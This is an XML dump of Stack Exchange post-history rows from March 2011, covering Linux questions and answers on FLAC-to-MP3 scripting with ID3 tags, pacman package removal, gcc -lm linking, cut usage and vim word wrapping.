  <row Id="24365" PostHistoryTypeId="2" PostId="10168" RevisionGUID="d1e3ee9f-ede3-4a3d-9127-e5b6fe262fdc" CreationDate="2011-03-27T11:39:04.673" UserId="5770" Text="In recent weeks I've gone from a fairly 'hands-on' approach to .flac --&gt; .mp3 transcoding, to one that's far more 'set &amp; forget'.&#xD;&#xA;&#xD;&#xA;The first step was to stop using a GUI front end (Audacity with a LAME plug-in) and instead use the method I outlined [here][1].&#xD;&#xA;&#xD;&#xA;The second step was to find a bash shell script that would tell that command loop to work recursively, allowing directories with many subdirectories containing .flac files to be transcoded in one simple step. That [answer][2] was provided by a user at askubuntu.com.&#xD;&#xA;&#xD;&#xA;Now I wish to learn how to further refine things so that ID3 tag information is preserved. The methods linked to above strip ID3 tag data, leaving the bare minimum (i.e. only the title field remains).&#xD;&#xA;&#xD;&#xA;Can anyone teach me how to write such a shell script?&#xD;&#xA;&#xD;&#xA;Many thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://apple.stackexchange.com/questions/9064/how-to-i-go-from-flac-to-mp3-using-lame-flac-using-the-terminal-alone/&#xD;&#xA;  [2]: http://askubuntu.com/questions/32206/using-recursion-with-a-command-loop-whats-the-syntax" />
  <row Id="24366" PostHistoryTypeId="1" PostId="10168" RevisionGUID="d1e3ee9f-ede3-4a3d-9127-e5b6fe262fdc" CreationDate="2011-03-27T11:39:04.673" UserId="5770" Text="Mass .flac --&gt; .mp3 transcoding: How to write a shell script that preserves ID3 tag information?" />
  <row Id="24367" PostHistoryTypeId="3" PostId="10168" RevisionGUID="d1e3ee9f-ede3-4a3d-9127-e5b6fe262fdc" CreationDate="2011-03-27T11:39:04.673" UserId="5770" Text="éshellöscriptàémp3àérecursiveàéencodingàéid3à" />
  <row Id="24369" PostHistoryTypeId="2" PostId="10170" RevisionGUID="99107b55-988d-4f7d-95b3-5c5ab9bad56e" CreationDate="2011-03-27T12:41:45.173" UserId="5666" Text="file contents&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cat listing.txt&#xD;&#xA;    foo bar baz&#xD;&#xA;    foo1 bar1 baz1&#xD;&#xA;&#xD;&#xA;getting the first column only&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cut -d' ' -f1 listing.txt&#xD;&#xA;    foo&#xD;&#xA;    foo1&#xD;&#xA;&#xD;&#xA;getting the first and third column, this time from stdin through a pipe&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cat listing.txt | cut -d' ' -f1,3&#xD;&#xA;    foo baz&#xD;&#xA;    foo1 baz1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24370" PostHistoryTypeId="5" PostId="10170" RevisionGUID="8e8af790-1cbd-4f01-bed5-04da18b976a0" CreationDate="2011-03-27T12:47:55.933" UserId="5666" Comment="added 199 characters in body; added 2 characters in body; deleted 3 characters in body" Text="file contents&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cat listing.txt&#xD;&#xA;    foo bar baz&#xD;&#xA;    foo1 bar1 baz1&#xD;&#xA;&#xD;&#xA;getting the first column only&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cut -d' ' -f1 listing.txt&#xD;&#xA;    foo&#xD;&#xA;    foo1&#xD;&#xA;&#xD;&#xA;getting the first and third column, this time from stdin through a pipe&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ cat listing.txt | cut -d' ' -f1,3&#xD;&#xA;    foo baz&#xD;&#xA;    foo1 baz1&#xD;&#xA;&#xD;&#xA;EDIT: I think I know what you're doing wrong&#xD;&#xA;&#xD;&#xA;    john@caffe:~$ foo=$(cut -d &quot; &quot; -f -1 listing.txt)&#xD;&#xA;    john@caffe:~$ echo $foo&#xD;&#xA;    foo foo1&#xD;&#xA;    john@caffe:~$ echo &quot;$foo&quot;&#xD;&#xA;    foo&#xD;&#xA;    foo1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24371" PostHistoryTypeId="5" PostId="10143" RevisionGUID="3beab0d0-3dd6-4323-9b35-1cae3b5bbfb6" CreationDate="2011-03-27T13:23:39.037" UserId="3327" Comment="added 70 characters in body" Text="Is it possible to organize order of icons or lock them in KDE system tray? It's very confusing with a lot of shuffled application icons.&#xD;&#xA;&#xD;&#xA;Edit: Does anybody know where are system tray configuration files?" />
  <row Id="24372" PostHistoryTypeId="2" PostId="10171" RevisionGUID="5eea58c1-2e3f-4403-9993-ea5fa1a26ca4" CreationDate="2011-03-27T13:27:49.563" UserId="3327" Text="A nicer [guide][1] here! :D&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mozilla.debian.net/" />
  <row Id="24373" PostHistoryTypeId="2" PostId="10172" RevisionGUID="bc545616-4f8e-493f-bb91-afed0f0fe75f" CreationDate="2011-03-27T13:44:38.350" UserId="2343" Text="I've found a reasonable working solution which allows both audio and video to be processed in a (normal) single pass of the AviSynth script...   &#xD;&#xA; &#xD;&#xA;![avidemux2 and avsproxy to the rescue](http://i.imgur.com/nuW6p.png)  ...**[avidemux2](http://www.avidemux.org/admWiki/doku.php?id=using:avsproxy)** + **[avsproxy](http://www.avidemux.org/admWiki/doku.php?id=using:avsproxy)** to the rescue!&#xD;&#xA;&#xD;&#xA;It has some limitations, like not handling DirectShowSource() very well... DirectShowSource was handy, because it autodetected the type of video/audio,  but there are typically other ways around that.  &#xD;&#xA;&#xD;&#xA;I've done some minor tests, and it has rendered a montage of two text panels (using .AAS subtitles format in unicode), and another panel of a subtitled picture. It seems to handle simple video without any problems... I have had to tweak a few minor things, but it seems manageable... It is certainly functional enough that I'll continue with it, to find it's quirks :) &#xD;&#xA;&#xD;&#xA;Both `avsproxy` and `avidemux2` have CLI and GUI interfaces... If I can get the CLI's to work together, then I'm pretty close to getting an AviSynth to play directly in a media player...  `avidemux2` can be set to &quot;copy&quot;, and the resulting *avi* output can be piped directly into a player (hopefully)...  It's looking good...&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/nuW6p.png&#xD;&#xA;" />
  <row Id="24375" PostHistoryTypeId="2" PostId="10173" RevisionGUID="997d27bd-5fb9-450d-aa7a-1acaa09755f4" CreationDate="2011-03-27T14:07:18.300" UserId="2267" Text="OK, I poked aorund, and when Alpine &quot;deletes&quot; an attachment, it actually replaces it with something like:&#xD;&#xA;&#xD;&#xA;    Content-Type: Text/Plain; charset=US-ASCII&#xD;&#xA;    X-Content-Type: image/jpeg&#xD;&#xA;    X-Content-Transfer-Encoding: base64&#xD;&#xA;    Content-ID: &lt;part1.07020604.05000506@flamescape.com&gt;&#xD;&#xA;    &#xD;&#xA;      [ The following attachment was DELETED when this message was saved:    ]&#xD;&#xA;      [ A Image/JPEG segment of about 93,336 bytes.                          ]&#xD;&#xA;&#xD;&#xA;I can then use emacs to edit this message (and it doesn't mess up any Content-Length headers or anything)" />
  <row Id="24376" PostHistoryTypeId="2" PostId="10174" RevisionGUID="d7af1755-7bf3-45a2-86e8-b764c73666b3" CreationDate="2011-03-27T14:08:54.273" UserId="6083" Text="I use Thunderbird/icedove with the AttachmentExtractor add-on for this." />
  <row Id="24377" PostHistoryTypeId="2" PostId="10175" RevisionGUID="5c44c0ff-9a4e-47e8-bf65-06e53c12d641" CreationDate="2011-03-27T14:23:11.957" UserId="1733" Text="I just use arch regularly since a few weeks and am no expert on the subject so this answer is in no means exhaustive, just a few points I have noted about the &quot;flexibility/power&quot;:&#xD;&#xA;&#xD;&#xA; - This is just an impression but pacman seems more modern and simple in its design/architecture. At least there is far less tools to deal with. While I don't know of apt source code, I just happened to look at libalpm code (the underlying library to pacman) to make a very simple patch, and it seems clean and easy to understand.&#xD;&#xA;&#xD;&#xA; - It is also very fast (due to optimisation and also propably by caring about few things (see below)). The last release (pacman 3.5, a few days old) tried to improve performance by reducing the number of involved database files.&#xD;&#xA;&#xD;&#xA; - While arch is oriented towards the use of binary packages, it also has advantages when building packages from source, with a build system similar to BSD's ports (ABS).&#xD;&#xA;&#xD;&#xA; - It's very easy and quick to create packages, just a few lines in a PKGBUILD file and its done, no need to deal with control/rules/copyright/changelog/whatever like with debian packages. And in a few clicks on a web ui your package is shared with everyone on AUR (Arch User Repository).&#xD;&#xA;&#xD;&#xA;Things I get in Debian and not in arch :&#xD;&#xA;&#xD;&#xA; - Triggers/hooks (what makes apt update the icon cache, the mandb or whatever just by looking at where the package install files, with no need for the packager to do anything) (seems there are [plans][1] to implement this).&#xD;&#xA;&#xD;&#xA; - debconf (but I can do without it and by the way know what I do better) and proper handling of new config files (I would at least like pacman to know when a config file in a new package version is different of the installed one because it was changed in the new version or because I modified it locally).&#xD;&#xA;&#xD;&#xA; - package signing (seems it's being [worked on][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/User:Allan/Pacman_Hooks&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Pacman_package_signing&#xD;&#xA;&#xD;&#xA;For arch being light, the only real reason is that it comes with few packages installed by default and you're encouraged to add what just you need, so probably not installing facultative dependancies by default is inciting users to install avoid bloat." />
  <row Id="24378" PostHistoryTypeId="2" PostId="10176" RevisionGUID="16945e0c-87bb-4885-b92b-f876114e9d7f" CreationDate="2011-03-27T14:25:08.913" UserId="5089" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am currently reading Advanced Linux Programming and in the section 2.3.3&#xD;&#xA; it is said that if I use some function from math.h I have to link the object files with -lm. But I am pretty sure that I already used some math function like sqrt, pow or log without having to specify the use of this shared library.&#xD;&#xA;&#xD;&#xA;Do you see where the problem is?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="24379" PostHistoryTypeId="1" PostId="10176" RevisionGUID="16945e0c-87bb-4885-b92b-f876114e9d7f" CreationDate="2011-03-27T14:25:08.913" UserId="5089" Text="Use math.h and link objects files without -lm." />
  <row Id="24380" PostHistoryTypeId="3" PostId="10176" RevisionGUID="16945e0c-87bb-4885-b92b-f876114e9d7f" CreationDate="2011-03-27T14:25:08.913" UserId="5089" Text="élinuxàégccà" />
  <row Id="24381" PostHistoryTypeId="25" PostId="10167" RevisionGUID="8e146f88-a310-4fdb-b905-4d09199b910b" CreationDate="2011-03-27T14:31:40.180" Comment="http://twitter.com/#!/StackUnix/status/52014929150087169" />
  <row Id="24382" PostHistoryTypeId="5" PostId="10175" RevisionGUID="b0eef925-d4e6-4b50-9522-9081513fe33b" CreationDate="2011-03-27T14:32:19.687" UserId="1733" Comment="spelling" Text="I just use arch regularly since a few weeks and am no expert on the subject so this answer is in no means exhaustive, just a few points I have noted about the &quot;flexibility/power&quot;:&#xD;&#xA;&#xD;&#xA; - This is just an impression but pacman seems more modern and simple in its design/architecture. At least there is far less tools to deal with. While I don't know of apt source code, I just happened to look at libalpm code (the underlying library to pacman) to make a very simple patch, and it seems clean and easy to understand.&#xD;&#xA;&#xD;&#xA; - It is also very fast (due to optimization and also probably by caring about few things (see below)). The last release (pacman 3.5, a few days old) tried to improve performance by reducing the number of involved database files.&#xD;&#xA;&#xD;&#xA; - While arch is oriented towards the use of binary packages, it also has advantages when building packages from source, with a build system similar to BSD's ports (ABS).&#xD;&#xA;&#xD;&#xA; - It's very easy and quick to create packages, just a few lines in a PKGBUILD file and its done, no need to deal with control/rules/copyright/changelog/whatever like with Debian packages. And in a few clicks on a web ui your package is shared with everyone on AUR (Arch User Repository).&#xD;&#xA;&#xD;&#xA;Things I get in Debian and not in arch :&#xD;&#xA;&#xD;&#xA; - Triggers/hooks (what makes apt update the icon cache, the mandb or whatever just by looking at where the package install files, with no need for the packager to do anything) (seems there are [plans][1] to implement this).&#xD;&#xA;&#xD;&#xA; - debconf (but I can do without it and by the way know what I do better) and proper handling of new config files (I would at least like pacman to know when a config file in a new package version is different of the installed one because it was changed in the new version or because I modified it locally).&#xD;&#xA;&#xD;&#xA; - package signing (seems it's being [worked on][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/User:Allan/Pacman_Hooks&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Pacman_package_signing&#xD;&#xA;&#xD;&#xA;For arch being light, the only real reason is that it comes with few packages installed by default and you're encouraged to add what just you need, so probably not installing optionnal dependencies by default is inciting users to install avoid bloat." />
  <row Id="24383" PostHistoryTypeId="2" PostId="10177" RevisionGUID="557d0f65-6979-4994-9923-b90eaf034aa6" CreationDate="2011-03-27T14:36:09.037" UserId="5842" Text="You should always use `-lm` when using functions from `math.h` if you want to keep your code/makefiles portable.&#xD;&#xA;&#xD;&#xA;Some of the things in that header are macros (which obviously don't need additional libraries), but which are is not specified (except for a few ones). Some other functions might be implemented as build-ins by your compiler (even replaced by processor-specific opcodes directly), inlined, etc... so the correct linking of your code could also depend on optimizer settings and the exact compiler/version you're using.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;math.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;    	double d = 0.2;&#xD;&#xA;    	fprintf(stdout, &quot;%f\n&quot;, sqrt(d));&#xD;&#xA;        return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With GCC 4.5.1 on Linux:&#xD;&#xA;&#xD;&#xA;    $ gcc -o t t.c&#xD;&#xA;    /tmp/cczCfJsj.o: In function `main':&#xD;&#xA;    t.c:(.text+0x30): undefined reference to `sqrt'&#xD;&#xA;    collect2: ld returned 1 exit status&#xD;&#xA;&#xD;&#xA;    $ gcc -O3 -o t t.c&#xD;&#xA;    # ok, compiled and linked fine&#xD;&#xA;&#xD;&#xA;So to save yourself a headache, just add `-lm`." />
  <row Id="24384" PostHistoryTypeId="2" PostId="10178" RevisionGUID="7b8beb37-5f4c-4836-928c-baf33cf9fe4b" CreationDate="2011-03-27T15:13:34.123" UserId="29" Text="How do I force remove a package in Arch with `pacman` while other packages still depend upon it.&#xD;&#xA;&#xD;&#xA;    pacman -R perl-libwww                                                               &#xD;&#xA;    checking dependencies...&#xD;&#xA;    error: failed to prepare transaction (could not satisfy dependencies)&#xD;&#xA;    :: perl-app-cpanminus: requires perl-libwww&gt;=5.828&#xD;&#xA;    :: perl-app-pmuninstall: requires perl-libwww&#xD;&#xA;    :: perl-app-sd: requires perl-libwww&#xD;&#xA;    :: perl-catalyst-action-rest: requires perl-libwww&gt;=2.033 &#xD;&#xA;    :: perl-catalyst-runtime: requires perl-libwww&gt;=1.64&#xD;&#xA;    :: perl-cpan: requires perl-libwww&#xD;&#xA;    :: perl-cpan-mini: requires perl-libwww&#xD;&#xA;    :: perl-cpan-uploader: requires perl-libwww&#xD;&#xA;    :: perl-feed-find: requires perl-libwww&#xD;&#xA;    :: perl-http-body: requires perl-libwww&#xD;&#xA;    :: perl-http-request-ascgi: requires perl-libwww&#xD;&#xA;    :: perl-module-cpants-analyse: requires perl-libwww&#xD;&#xA;    :: perl-module-install: requires perl-libwww&gt;=5.812&#xD;&#xA;    :: perl-net-trac: requires perl-libwww&#xD;&#xA;    :: perl-net-whois-raw: requires perl-libwww&#xD;&#xA;    :: perl-prophet: requires perl-libwww&#xD;&#xA;    :: perl-rt-client-rest: requires perl-libwww&#xD;&#xA;    :: perl-uri-fetch: requires perl-libwww&#xD;&#xA;    :: perl-www-mechanize: requires perl-libwww&#xD;&#xA;    :: perl-xml-atom: requires perl-libwww&#xD;&#xA;    :: perl-xml-feed: requires perl-libwww&#xD;&#xA;&#xD;&#xA;basically LWP 6 split a whole bunch of packages, and I need to remove it so I can reinstall it." />
  <row Id="24385" PostHistoryTypeId="1" PostId="10178" RevisionGUID="7b8beb37-5f4c-4836-928c-baf33cf9fe4b" CreationDate="2011-03-27T15:13:34.123" UserId="29" Text="How do I force remove a package in Arch with pacman?" />
  <row Id="24386" PostHistoryTypeId="3" PostId="10178" RevisionGUID="7b8beb37-5f4c-4836-928c-baf33cf9fe4b" CreationDate="2011-03-27T15:13:34.123" UserId="29" Text="éarchölinuxàépackageömanagementàépacmanà" />
  <row Id="24387" PostHistoryTypeId="2" PostId="10179" RevisionGUID="bdb93783-7679-458d-ba19-1a55ac9da866" CreationDate="2011-03-27T15:32:57.023" UserId="5909" Text="    # pacman -Rdd perl-libwww&#xD;&#xA;&#xD;&#xA;&gt;        -d, --nodeps&#xD;&#xA;           Skips dependency version checks. Package names are still&#xD;&#xA;           checked. Normally, pacman will always check a package’s&#xD;&#xA;           dependency fields to ensure that all dependencies are&#xD;&#xA;           installed and there are no package conflicts in the&#xD;&#xA;           system. Specify this option twice to skip all dependency&#xD;&#xA;           checks." />
  <row Id="24388" PostHistoryTypeId="5" PostId="10179" RevisionGUID="5a93bf0c-5823-4bfb-9b41-cc070a94d9a2" CreationDate="2011-03-27T15:43:24.243" UserId="5909" Comment="added 441 characters in body" Text="This will only remove perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rdd perl-libwww&#xD;&#xA;&#xD;&#xA;This removes all the packages which depend on perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rc perl-libwww&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From pacman man page:  &#xD;&#xA;&#xD;&#xA;&gt;        -d, --nodeps&#xD;&#xA;           Skips dependency version checks. Package names are still&#xD;&#xA;           checked. Normally, pacman will always check a package’s&#xD;&#xA;           dependency fields to ensure that all dependencies are&#xD;&#xA;           installed and there are no package conflicts in the&#xD;&#xA;           system. Specify this option twice to skip all dependency&#xD;&#xA;           checks.&#xD;&#xA;       -c, --cascade&#xD;&#xA;           Remove all target packages, as well as all packages that&#xD;&#xA;           depend on one or more target packages. This operation is&#xD;&#xA;           recursive, and must be used with care since it can remove&#xD;&#xA;           many potentially needed packages." />
  <row Id="24389" PostHistoryTypeId="5" PostId="10168" RevisionGUID="53be61c2-9f9f-45ba-bc7b-c8af0aa486dd" CreationDate="2011-03-27T15:51:14.737" UserId="5770" Comment="updated with newer script and detailing progress thus far" Text="In recent weeks I've gone from a fairly 'hands-on' approach to .flac --&gt; .mp3 transcoding, to one that's far more 'set &amp; forget'.&#xD;&#xA;&#xD;&#xA;The first step was to stop using a GUI front end (Audacity with a LAME plug-in) and instead use the method I outlined [here][1].&#xD;&#xA;&#xD;&#xA;The second step was to find a bash shell script that would tell that command loop to work recursively, allowing directories with many subdirectories containing .flac files to be transcoded in one simple step. That [answer][2] was provided by a user at askubuntu.com.&#xD;&#xA;&#xD;&#xA;Now I wish to learn how to further refine things so that ID3 tag information is preserved. The methods linked to above strip ID3 tag data, leaving the bare minimum (i.e. only the title field remains).&#xD;&#xA;&#xD;&#xA;Can anyone teach me how to write such a shell script?&#xD;&#xA;&#xD;&#xA;Many thanks in advance.&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;The shell script has been updated thus:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    file=&quot;$1&quot;&#xD;&#xA;    flac -cd &quot;$file&quot; | lame --preset fast extreme - &quot;${file%.flac}.mp3&quot;&#xD;&#xA;    id3cp &quot;$file&quot; &quot;${file%.flac}.mp3&quot;&#xD;&#xA;&#xD;&#xA;Doing `find . -name '*.flac' -exec ~/bin/flac2mp3 '{}' \;` in ~/Desktop/stack gives the following output:&#xD;&#xA;&#xD;&#xA;    01 - Amon Tobin - Chomp Samba.flac: done         &#xD;&#xA;    LAME 3.98.4 64bits (http://www.mp3dev.org/)&#xD;&#xA;    Using polyphase lowpass filter, transition band: 19383 Hz - 19916 Hz&#xD;&#xA;    Encoding &lt;stdin&gt; to ./01 - Amon Tobin - Chomp Samba.mp3&#xD;&#xA;    Encoding as 44.1 kHz j-stereo MPEG-1 Layer III VBR(q=0)&#xD;&#xA;    Parsing ./01 - Amon Tobin - Chomp Samba.flac: done.  Copying to ./01 - Amon Tobin - Chomp Samba.mp3: done&#xD;&#xA;&#xD;&#xA;`id3info` for the original .flac and resultant .mp3 gives, respectively:&#xD;&#xA;&#xD;&#xA;    *** Tag information for 01 - Amon Tobin - Chomp Samba.flac&#xD;&#xA;&#xD;&#xA;(i.e. nothing);&#xD;&#xA;&#xD;&#xA;    *** Tag information for 01 - Amon Tobin - Chomp Samba.mp3&#xD;&#xA;    *** mp3 info&#xD;&#xA;    MPEG1/layer III&#xD;&#xA;    Bitrate: 128KBps&#xD;&#xA;    Frequency: 44KHz&#xD;&#xA;&#xD;&#xA;The .flac definitely has tag information. I can verify this by opening up EasyTAG. EasyTAG refers to this as 'FLAC Vorbis Tag' but 'ID3 Tag' for the .mp3. Is this the problem?&#xD;&#xA;&#xD;&#xA;  [1]: http://apple.stackexchange.com/questions/9064/how-to-i-go-from-flac-to-mp3-using-lame-flac-using-the-terminal-alone/&#xD;&#xA;  [2]: http://askubuntu.com/questions/32206/using-recursion-with-a-command-loop-whats-the-syntax" />
  <row Id="24390" PostHistoryTypeId="5" PostId="10086" RevisionGUID="7bd433ba-4369-464a-8d26-6c3d27494400" CreationDate="2011-03-27T16:22:16.233" UserId="4241" Comment="Formatting, linking" Text="If I install OpenBSD from CD-ROM: http://www.openbsd.org/ftp.html with `install48.iso` then is it patched?&#xD;&#xA;&#xD;&#xA;1. All 10 patches from [here][1] are in the ISO file?&#xD;&#xA;2. If those are not included, how can I apply these patches? Is there a one-liner command (like under Fedora: `yum upgrade` or Debian based, `apt-get upgrade`) or do I have to download and apply all 10 patches one by one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/errata48.html" />
  <row Id="24391" PostHistoryTypeId="24" PostId="10086" RevisionGUID="7bd433ba-4369-464a-8d26-6c3d27494400" CreationDate="2011-03-27T16:22:16.233" Comment="Proposed by 4241 approved by 29 edit id of 236" />
  <row Id="24393" PostHistoryTypeId="2" PostId="10180" RevisionGUID="0ec957f7-e73f-410b-83fd-b84bdbe3eced" CreationDate="2011-03-27T17:09:42.760" UserId="5666" Text="Check the integrity of /etc/passwd and related files with `pwck`. Do the same for group related files with `grpck`." />
  <row Id="24394" PostHistoryTypeId="2" PostId="10181" RevisionGUID="1f40732f-6007-4a27-b5b0-5c038f85c037" CreationDate="2011-03-27T17:18:04.443" UserId="2897" Text="While playing with xfce4 (on Xubuntu) I accidentally removed the notification area which is placed by default in the right of the top panel. Is there a way to restore it back to it's original state without diving into the process of adding, placing and adjusting icons?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="24395" PostHistoryTypeId="1" PostId="10181" RevisionGUID="1f40732f-6007-4a27-b5b0-5c038f85c037" CreationDate="2011-03-27T17:18:04.443" UserId="2897" Text="Restoring the notifcation area in xfce4" />
  <row Id="24396" PostHistoryTypeId="3" PostId="10181" RevisionGUID="1f40732f-6007-4a27-b5b0-5c038f85c037" CreationDate="2011-03-27T17:18:04.443" UserId="2897" Text="éxfceà" />
  <row Id="24398" PostHistoryTypeId="25" PostId="10178" RevisionGUID="1b675973-a863-494a-80cf-0f13662f8777" CreationDate="2011-03-27T17:31:39.887" Comment="http://twitter.com/#!/StackUnix/status/52060226379202560" />
  <row Id="24399" PostHistoryTypeId="5" PostId="10175" RevisionGUID="a1be8913-f9b6-4980-bcd6-4ed552f74dd3" CreationDate="2011-03-27T18:45:47.690" UserId="1733" Comment="added 43 characters in body" Text="I just use arch regularly since a few weeks and am no expert on the subject so this answer is in no means exhaustive, just a few points I have noted about the &quot;flexibility/power&quot;:&#xD;&#xA;&#xD;&#xA; - This is just an impression but pacman seems more modern and simple in its design/architecture. At least there is far less tools to deal with. While I don't know of apt source code, I just happened to look at libalpm code (the underlying library to pacman) to make a very simple patch, and it seems clean and easy to understand.&#xD;&#xA;&#xD;&#xA; - It is also very fast (due to optimization and also probably by caring about few things (see below)). The last release (pacman 3.5, a few days old) tried to improve performance by reducing the number of involved database files.&#xD;&#xA;&#xD;&#xA; - While arch is oriented towards the use of binary packages, it also has advantages when building packages from source, with a build system similar to BSD's ports (ABS).&#xD;&#xA;&#xD;&#xA; - It's very easy and quick to create packages, just a few lines in a PKGBUILD file and its done, no need to deal with control/rules/copyright/changelog/whatever like with Debian packages. And in a few clicks on a web ui your package is shared with everyone on AUR (Arch User Repository).&#xD;&#xA;&#xD;&#xA;Things I get in Debian and not in arch :&#xD;&#xA;&#xD;&#xA; - Triggers/hooks (what makes apt update the icon cache, the mandb or whatever just by looking at where the package install files, with no need for the packager to do anything) (seems there are [plans][1] to implement this).&#xD;&#xA;&#xD;&#xA; - debconf (no big deal and by the way by forcing me to do things manually it forces me to know what exactly is done) and proper handling of new config files (I would at least like pacman to know when a config file in a new package version is different of the installed one because it was changed in the new version or because I modified it locally).&#xD;&#xA;&#xD;&#xA; - package signing (seems it's being [worked on][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/User:Allan/Pacman_Hooks&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Pacman_package_signing&#xD;&#xA;&#xD;&#xA;For arch being light, the only real reason is that it comes with few packages installed by default and you're encouraged to add what just you need, so probably not installing optional dependencies by default is inciting users to install avoid bloat." />
  <row Id="24400" PostHistoryTypeId="2" PostId="10182" RevisionGUID="8f6a05bc-9a76-451e-8e69-322bc31f331a" CreationDate="2011-03-27T19:09:07.903" UserId="3447" Text="Whats the best way to do word wrapping for a document in `vim`?  &#xD;&#xA;I'd like have each line wrap at 80 characters, not just visually wrap but enter a newline.&#xD;&#xA;&#xD;&#xA;I got this kind of working by using&#xD;&#xA;&#xD;&#xA;    :set wrap&#xD;&#xA;    :set linebreak&#xD;&#xA;&#xD;&#xA;But if I go back and insert text on a previous line, it doesn't adjust the rest of the paragraph.  It takes the overflow text and puts it on a newline, but the line that comes after doesn't get moved up to fill in the gap.&#xD;&#xA;&#xD;&#xA;So if I edit a previous line, my paragraph can look like this&#xD;&#xA;&#xD;&#xA;    A line that is 80 characters long&#xD;&#xA;    short line&#xD;&#xA;    A line that is 80 characters lone&#xD;&#xA;&#xD;&#xA;I want it to be like this:&#xD;&#xA;    A line that is 80 characters long&#xD;&#xA;    short line A line that is 80&#xD;&#xA;    characters long" />
  <row Id="24401" PostHistoryTypeId="1" PostId="10182" RevisionGUID="8f6a05bc-9a76-451e-8e69-322bc31f331a" CreationDate="2011-03-27T19:09:07.903" UserId="3447" Text="Vim: word wrap for documents" />
  <row Id="24402" PostHistoryTypeId="3" PostId="10182" RevisionGUID="8f6a05bc-9a76-451e-8e69-322bc31f331a" CreationDate="2011-03-27T19:09:07.903" UserId="3447" Text="évimàédocumentsà" />
  <row Id="24403" PostHistoryTypeId="5" PostId="10182" RevisionGUID="f9c71793-93c7-456f-86ac-f2764415d0bf" CreationDate="2011-03-27T19:14:16.183" UserId="3447" Comment="added 2 characters in body" Text="Whats the best way to do word wrapping for a document in `vim`?  &#xD;&#xA;I'd like have each line wrap at 80 characters, not just visually wrap but enter a newline.&#xD;&#xA;&#xD;&#xA;I got this kind of working by using&#xD;&#xA;&#xD;&#xA;    :set wrap&#xD;&#xA;    :set linebreak&#xD;&#xA;&#xD;&#xA;But if I go back and insert text on a previous line, it doesn't adjust the rest of the paragraph.  It takes the overflow text and puts it on a newline, but the line that comes after doesn't get moved up to fill in the gap.&#xD;&#xA;&#xD;&#xA;So if I edit a previous line, my paragraph can look like this&#xD;&#xA;&#xD;&#xA;    A line that is 80 characters long&#xD;&#xA;    short line&#xD;&#xA;    A line that is 80 characters lone&#xD;&#xA;&#xD;&#xA;I want it to be like this:&#xD;&#xA;&#xD;&#xA;    A line that is 80 characters long&#xD;&#xA;    short line A line that is 80&#xD;&#xA;    characters long" />
  <row Id="24404" PostHistoryTypeId="6" PostId="10168" RevisionGUID="6b5c692c-8d27-41b3-b469-1f27e0ffe6af" CreationDate="2011-03-27T19:15:32.520" UserId="885" Comment="edited tags" Text="éshellöscriptàémp3àéid3àétaggingàéflacà" />
  <row Id="24405" PostHistoryTypeId="6" PostId="10165" RevisionGUID="dda95e2e-e463-412c-aecd-e71b525ff3e2" CreationDate="2011-03-27T19:30:28.707" UserId="885" Comment="edited tags" Text="éproxyàénginxà" />
  <row Id="24406" PostHistoryTypeId="5" PostId="10179" RevisionGUID="f548ec03-a2dd-42ec-bcbc-dd5fe5c71332" CreationDate="2011-03-27T19:39:41.993" UserId="5909" Comment="added 228 characters in body" Text="This will only remove perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rdd perl-libwww&#xD;&#xA;&#xD;&#xA;Please notice the double *-d* in the command, if you use *--nodeps* you have to specify that twice too or combine it with a *-d* like:&#xD;&#xA;&#xD;&#xA;    # pacman -R --nodeps --nodeps perl-libwww&#xD;&#xA;    # pacman -Rd --nodeps perl-libwww&#xD;&#xA;&#xD;&#xA;This removes all the packages which depend on perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rc perl-libwww&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From pacman's man page:  &#xD;&#xA;&#xD;&#xA;&gt;        -d, --nodeps&#xD;&#xA;           Skips dependency version checks. Package names are still&#xD;&#xA;           checked. Normally, pacman will always check a package’s&#xD;&#xA;           dependency fields to ensure that all dependencies are&#xD;&#xA;           installed and there are no package conflicts in the&#xD;&#xA;           system. Specify this option twice to skip all dependency&#xD;&#xA;           checks.&#xD;&#xA;       -c, --cascade&#xD;&#xA;           Remove all target packages, as well as all packages that&#xD;&#xA;           depend on one or more target packages. This operation is&#xD;&#xA;           recursive, and must be used with care since it can remove&#xD;&#xA;           many potentially needed packages." />
